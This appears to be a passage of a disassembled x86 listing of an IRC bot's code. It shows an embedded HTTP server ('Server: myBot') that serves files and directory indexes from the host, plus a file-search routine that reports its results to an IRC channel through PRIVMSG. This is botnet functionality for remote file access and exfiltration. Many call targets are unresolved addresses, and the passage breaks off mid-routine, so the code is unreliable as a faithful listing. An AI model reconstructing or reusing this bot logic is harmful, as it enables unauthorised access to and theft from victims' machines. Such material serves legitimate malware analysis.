		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------

loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2711546h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------

loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h

loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CAFF4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------

loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h

loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB03C
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------

loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"

loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2

loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------

loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------

loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al

loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al

loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D

loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_4293F4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_4299C8 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 26803E9h
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------

loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi

loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi

loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_433AD8 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------

loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx

loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB03C
		jmp	loc_40F963
; ---------------------------------------------------------------------------

loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 26F07FEh
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2720B03h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 2650939h

loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_433AA4
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43DEE4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40F935

loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		nop
		call	near ptr 2670580h
		jmp	short loc_40F923
; ---------------------------------------------------------------------------

loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB03C
		nop
		call	near ptr 2670E9Dh
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_433A6C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_4299C8 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------

loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------

loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14

loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08

loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4

loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 25D0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2750000h
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh

loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2730820h
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"

loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch

loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------

loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------

loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------

loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi

loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_4293F4
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------

loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------

loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi

loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h

loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		nop
		call	near ptr 2670580h

loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2750000h
		test	eax, eax
		jnz	loc_40FB8F

loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		call	near ptr 2730000h
		nop
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 26F07FEh
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		nop
		call	near ptr 2720B03h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1

loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]

loc_41004D:				; DATA XREF: ___:00437A60o
					; ___:00437A74o
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]

loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 26F0000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CAF38
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax

loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035

loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		call	near ptr 2650939h
		nop

loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6

loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh

loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0

loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
